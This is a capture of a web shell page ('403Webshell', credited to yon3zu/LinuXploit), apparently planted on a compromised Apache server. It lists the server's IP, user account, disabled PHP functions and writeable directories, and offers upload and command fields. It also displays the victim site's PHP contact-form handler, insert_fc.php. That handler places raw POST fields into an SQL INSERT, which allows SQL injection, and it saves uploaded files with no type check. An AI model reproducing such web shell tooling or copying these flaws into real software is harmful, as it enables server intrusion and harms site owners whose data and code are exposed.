403Webshell
Server IP : 43.241.58.20  /  Your IP : 216.73.216.25
Web Server : Apache/2
System : Linux ns1-1556229.dragonhispeed.com 3.16.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : ratsitne ( 1130)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ratsitne/public_html/insert/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ratsitne/public_html/insert/insert_fc.php
<?php @session_start(); ?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
	require('../conn.php');
	if(!empty($_POST['number']) AND !empty($_POST['passw1'])){


    if($_POST['number'] == $_POST['passw1']){
      				//=======================//
      				$c_select = $_POST['c_select'];
      				$c_title = $_POST['c_title'];
      				$c_detail = $_POST['c_detail'];
              $c_from = $_POST['c_from'];
              $c_to = $_POST['c_to'];
              $c_ip = $_SERVER['REMOTE_ADDR'];
      				$c_date = date("Y-m-d H:i:s");
      				//=======================//

      				//======== File =========//
      				if(trim($_FILES["c_file"]["tmp_name"]) != "")
      					{
      						$rand = substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz9876543210'),0,6);
      						$fileType = $_FILES["c_file"]["type"];
      						copy($_FILES["c_file"]["tmp_name"],"../img/file/to_contact/".$rand.$_FILES["c_file"]["name"]);
      						$new_file = $rand.$_FILES["c_file"]["name"];
      					}
      				//====== End File =======//


      			$sql = "INSERT INTO tb_contact VALUES ('','$c_select','$c_title','$c_detail','$c_from','$c_to','$new_file','$c_ip','$c_date')";
      			$objQuery = $obj_con->query($sql);

      			if($objQuery){
      				echo "<script>window.top.window.showResult_ct('1');</script>";
      			}else{
      				echo "<script>window.top.window.showResult_ct('2');</script>";
      			}

      }else{
        echo "<script>window.top.window.showResult_ct('3');</script>";
      }


			//========================//
		}else{ ?>
	<script language="JavaScript">window.location.href = "../index.php";</script>
<?php } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit